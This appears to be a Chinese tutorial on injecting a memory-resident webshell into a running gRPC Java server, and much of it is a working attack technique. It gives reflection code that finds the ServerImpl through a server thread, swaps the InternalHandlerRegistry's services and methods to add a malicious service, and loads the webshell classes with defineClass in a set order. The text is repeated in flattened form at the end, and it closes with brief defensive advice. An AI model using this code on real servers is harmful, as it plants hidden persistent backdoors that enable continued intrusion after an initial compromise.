gRPC Java 内存马模拟实战
字数 1824 2025-08-06 18:08:01

gRPC Java 内存马模拟实战教学文档

一、gRPC基础概念

1.1 gRPC简介

gRPC是一个高性能、开源、通用的RPC框架,由Google推出,基于HTTP/2协议标准设计开发,默认采用Protocol Buffers数据序列化协议,支持多种开发语言。

主要特性:

  • 强大的IDL:使用ProtoBuf定义服务
  • 多语言支持:能基于语言自动生成客户端和服务端功能库

1.2 ProtoBuf协议

  • proto3是grpc的协议定义,文件后缀为.proto
  • 服务定义需要特定的接口定义语言(IDL)完成
  • gRPC默认使用protocol buffers

二、gRPC Java项目搭建

2.1 项目配置

  1. 创建Maven项目,packaging必须为jar
  2. 在main目录下新建proto目录存放.proto文件
  3. pom.xml关键配置:
<properties>
  <maven.compiler.source>8</maven.compiler.source>
  <maven.compiler.target>8</maven.compiler.target>
  <protobuf.version>3.19.4</protobuf.version>
  <grpc.version>1.50.2</grpc.version>
</properties>

<dependencies>
  <dependency>
    <groupId>com.google.protobuf</groupId>
    <artifactId>protobuf-java</artifactId>
    <version>${protobuf.version}</version>
  </dependency>
  <dependency>
    <groupId>io.grpc</groupId>
    <artifactId>grpc-all</artifactId>
    <version>${grpc.version}</version>
  </dependency>
</dependencies>

<build>
  <extensions>
    <extension>
      <groupId>kr.motd.maven</groupId>
      <artifactId>os-maven-plugin</artifactId>
      <version>1.6.2</version>
    </extension>
  </extensions>
  <plugins>
    <plugin>
      <groupId>org.xolstice.maven.plugins</groupId>
      <artifactId>protobuf-maven-plugin</artifactId>
      <version>0.6.1</version>
      <configuration>
        <protocArtifact>com.google.protobuf:protoc:3.14.0:exe:${os.detected.classifier}</protocArtifact>
        <pluginId>grpc-java</pluginId>
        <pluginArtifact>io.grpc:protoc-gen-grpc-java:${grpc.version}:exe:${os.detected.classifier}</pluginArtifact>
        <protoSourceRoot>${project.basedir}/src/main/proto/</protoSourceRoot>
        <outputDirectory>${project.basedir}/src/main/java/</outputDirectory>
        <clearOutputDirectory>false</clearOutputDirectory>
      </configuration>
      <executions>
        <execution>
          <goals>
            <goal>compile</goal>
            <goal>compile-custom</goal>
          </goals>
        </execution>
      </executions>
    </plugin>
  </plugins>
</build>

2.2 定义proto文件

示例user.proto文件内容:

syntax = "proto3";
package protocol;
option go_package = "protocol";
option java_multiple_files = true;
option java_package = "com.demo.shell.protocol";

message User {
  int32 userId = 1;
  string username = 2;
  sint32 age = 3;
  string name = 4;
}

service UserService {
  rpc getUser (User) returns (User) {}
  rpc getUsers (User) returns (stream User) {}
  rpc saveUsers (stream User) returns (User) {}
}

2.3 生成Java代码

执行命令:

mvn protobuf:compile
mvn protobuf:compile-custom

三、gRPC服务端与客户端实现

3.1 服务端实现

  1. 继承UserServiceGrpc.UserServiceImplBase并重写方法
  2. 编写Server启动代码:
public class NsServer {
  public static void main(String[] args) throws IOException, InterruptedException {
    int port = 8082;
    Server server = ServerBuilder.forPort(port)
        .addService(new UserServiceImpl())
        .build()
        .start();
    System.out.println("server started, port : " + port);
    server.awaitTermination();
  }
}

3.2 客户端实现

public class NsCilent {
  public static void main(String[] args) {
    User user = User.newBuilder().setUserId(100).build();
    String host = "127.0.0.1";
    int port = 8082;
    ManagedChannel channel = ManagedChannelBuilder.forAddress(host,port)
        .usePlaintext().build();
    UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = 
        UserServiceGrpc.newBlockingStub(channel);
    
    User responseUser = userServiceBlockingStub.getUser(user);
    System.out.println(responseUser);
    
    Iterator<User> users = userServiceBlockingStub.getUsers(user);
    while (users.hasNext()){
      System.out.println(users.next());
    }
    channel.shutdown();
  }
}

四、gRPC内存马原理分析

4.1 核心注入点

  • addService()最终执行io.grpc.internal.InternalHandlerRegistry$Builder#addService
  • this.servicesthis.map保存了所有service和methods

4.2 初始化流程

  1. 通过ServerBuilder.forPort(port)获取ServerBuilder对象
  2. 调用InternalHandlerRegistry$Builder#addService添加services
  3. 调用InternalHandlerRegistry$Builder#build解析接口映射,初始化map
  4. 返回初始化好的InternalHandlerRegistry
  5. 调用start()启动监听

4.3 内存马实现条件

  1. 能够获取到services列表
  2. 能创建自定义services接口
  3. 能把自定义的service加入到内存中

五、实战环境分析

5.1 两种常见场景

  1. 单独使用gRPC

    • 已有gRPC客户端可正常访问服务端
    • 服务端存在RCE漏洞可执行Java代码
    • 处理线程名:grpc-default-executor-0
  2. gRPC+SpringBoot

    • 使用grpc-server-spring-boot-starter
    • SpringBoot管理gRPC的bean
    • 可通过web请求上下文获取gRPC的server对象

5.2 注入代码实现(SpringBoot+gRPC示例)

5.2.1 获取ServerImpl对象

ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = new Thread[group.activeCount()];
String status = "";
group.enumerate(threads);

for (Thread t : threads){
  if (t.getName().startsWith("grpc-server-container")){
    System.out.println("found grpc-server-container: ");
    System.out.println(t.getName());
    
    Field target = Thread.class.getDeclaredField("target");
    target.setAccessible(true);
    Object o = target.get(t);
    
    Field[] ff = o.getClass().getDeclaredFields();
    ff[0].setAccessible(true);
    GrpcServerLifecycle grpcServerLifecycle = (GrpcServerLifecycle)ff[0].get(o);
    
    Field server = GrpcServerLifecycle.class.getDeclaredField("server");
    server.setAccessible(true);
    ServerImpl serverimpl = (ServerImpl) server.get(grpcServerLifecycle);
    
    inject(serverimpl);
    status = "inject success";
    break;
  }
}

5.2.2 获取已注册services

// 从server中获取registry
Field registry = server.getClass().getDeclaredField("registry");
registry.setAccessible(true);
Object handlerRegistry = registry.get(server);

// 从registry获取services和methods
Class InternalHandlerRegistry = Class.forName("io.grpc.internal.InternalHandlerRegistry");
Field services = InternalHandlerRegistry.getDeclaredField("services");
services.setAccessible(true);
List<ServerServiceDefinition> ser = (List<ServerServiceDefinition>)services.get(handlerRegistry);

Field methods = InternalHandlerRegistry.getDeclaredField("methods");
methods.setAccessible(true);
Map<String, ServerMethodDefinition<?, ?>> meth = 
    (Map<String, ServerMethodDefinition<?, ?>>)methods.get(handlerRegistry);

5.2.3 创建恶意service并注入

// 初始化恶意Server对象
Server hr = ServerBuilder.forPort(8082).addService(new WebshellServiceImpl()).build();
Object hr_registry = NsServer.getField(hr, "registry");
List<ServerServiceDefinition> webshell_ser_list = 
    (List<ServerServiceDefinition>)services.get(hr_registry);
Map<String, ServerMethodDefinition<?, ?>> webshell_meth = 
    (Map<String, ServerMethodDefinition<?, ?>>)methods.get(hr_registry);

// 浅拷贝并添加恶意接口
List<ServerServiceDefinition> new_ser = new ArrayList<>(ser);
Map new_meth = new HashMap(meth);

for (ServerServiceDefinition ssd : webshell_ser_list){
  new_ser.add(ssd);
}

for (String key : webshell_meth.keySet()){
  new_meth.put(key,webshell_meth.get(key));
}

// 反射替换registry的services和methods
services.set(handlerRegistry, new_ser);
methods.set(handlerRegistry, new_meth);

六、动态加载类问题解决

6.1 类加载问题

  • 自定义类加载器加载的类不在JVM缓存中
  • 后续加载的类无法依赖前面动态加载的类

6.2 解决方案

使用当前线程的ClassLoader进行动态加载:

Method define = ClassLoader.class.getDeclaredMethod("defineClass", 
    String.class, byte[].class, int.class, int.class);
define.setAccessible(true);
Class c1 = (Class) define.invoke(this.getClass().getClassLoader(), 
    className, bytes, 0, bytes.length);

6.3 依赖加载顺序

gRPC内存马最少需要加载9个class文件,且有严格加载顺序:

  1. Webshell$Builder
  2. Webshell
  3. WebshellOrBuilder
  4. WebshellRequest
  5. WebshellRequest$Builder
  6. WebshellRequestOrBuilder
  7. WebshellResponse
  8. WebshellResponse$Builder
  9. WebshellResponseOrBuilder

七、总结与思考

7.1 技术要点

  1. gRPC服务注册机制可被利用注入恶意服务
  2. 需要反射修改InternalHandlerRegistry中的services和methods
  3. 动态加载类需要解决依赖问题

7.2 实际利用限制

  1. 动静较大,需要预先生成代码
  2. 需要逐个加载多个类文件
  3. 需要编写专门的gRPC客户端利用内存马
  4. 相对于权限维持目标,实现成本较高

7.3 防御建议

  1. 监控gRPC服务的动态修改
  2. 限制反射调用权限
  3. 对gRPC服务进行完整性校验
  4. 实施严格的类加载控制

参考链接

gRPC Java 内存马模拟实战教学文档 一、gRPC基础概念 1.1 gRPC简介 gRPC是一个高性能、开源、通用的RPC框架,由Google推出,基于HTTP/2协议标准设计开发,默认采用Protocol Buffers数据序列化协议,支持多种开发语言。 主要特性: 强大的IDL:使用ProtoBuf定义服务 多语言支持:能基于语言自动生成客户端和服务端功能库 1.2 ProtoBuf协议 proto3是grpc的协议定义,文件后缀为.proto 服务定义需要特定的接口定义语言(IDL)完成 gRPC默认使用protocol buffers 二、gRPC Java项目搭建 2.1 项目配置 创建Maven项目,packaging必须为jar 在main目录下新建proto目录存放.proto文件 pom.xml关键配置: 2.2 定义proto文件 示例user.proto文件内容: 2.3 生成Java代码 执行命令: 三、gRPC服务端与客户端实现 3.1 服务端实现 继承UserServiceGrpc.UserServiceImplBase并重写方法 编写Server启动代码: 3.2 客户端实现 四、gRPC内存马原理分析 4.1 核心注入点 addService() 最终执行 io.grpc.internal.InternalHandlerRegistry$Builder#addService this.services 和 this.map 保存了所有service和methods 4.2 初始化流程 通过 ServerBuilder.forPort(port) 获取ServerBuilder对象 调用 InternalHandlerRegistry$Builder#addService 添加services 调用 InternalHandlerRegistry$Builder#build 解析接口映射,初始化map 返回初始化好的InternalHandlerRegistry 调用start()启动监听 4.3 内存马实现条件 能够获取到services列表 能创建自定义services接口 能把自定义的service加入到内存中 五、实战环境分析 5.1 两种常见场景 单独使用gRPC : 已有gRPC客户端可正常访问服务端 服务端存在RCE漏洞可执行Java代码 处理线程名:grpc-default-executor-0 gRPC+SpringBoot : 使用grpc-server-spring-boot-starter SpringBoot管理gRPC的bean 可通过web请求上下文获取gRPC的server对象 5.2 注入代码实现(SpringBoot+gRPC示例) 5.2.1 获取ServerImpl对象 5.2.2 获取已注册services 5.2.3 创建恶意service并注入 六、动态加载类问题解决 6.1 类加载问题 自定义类加载器加载的类不在JVM缓存中 后续加载的类无法依赖前面动态加载的类 6.2 解决方案 使用当前线程的ClassLoader进行动态加载: 6.3 依赖加载顺序 gRPC内存马最少需要加载9个class文件,且有严格加载顺序: Webshell$Builder Webshell WebshellOrBuilder WebshellRequest WebshellRequest$Builder WebshellRequestOrBuilder WebshellResponse WebshellResponse$Builder WebshellResponseOrBuilder 七、总结与思考 7.1 技术要点 gRPC服务注册机制可被利用注入恶意服务 需要反射修改InternalHandlerRegistry中的services和methods 动态加载类需要解决依赖问题 7.2 实际利用限制 动静较大,需要预先生成代码 需要逐个加载多个类文件 需要编写专门的gRPC客户端利用内存马 相对于权限维持目标,实现成本较高 7.3 防御建议 监控gRPC服务的动态修改 限制反射调用权限 对gRPC服务进行完整性校验 实施严格的类加载控制 参考链接 gRPC官方文档 Protocol Buffers文档 示例代码仓库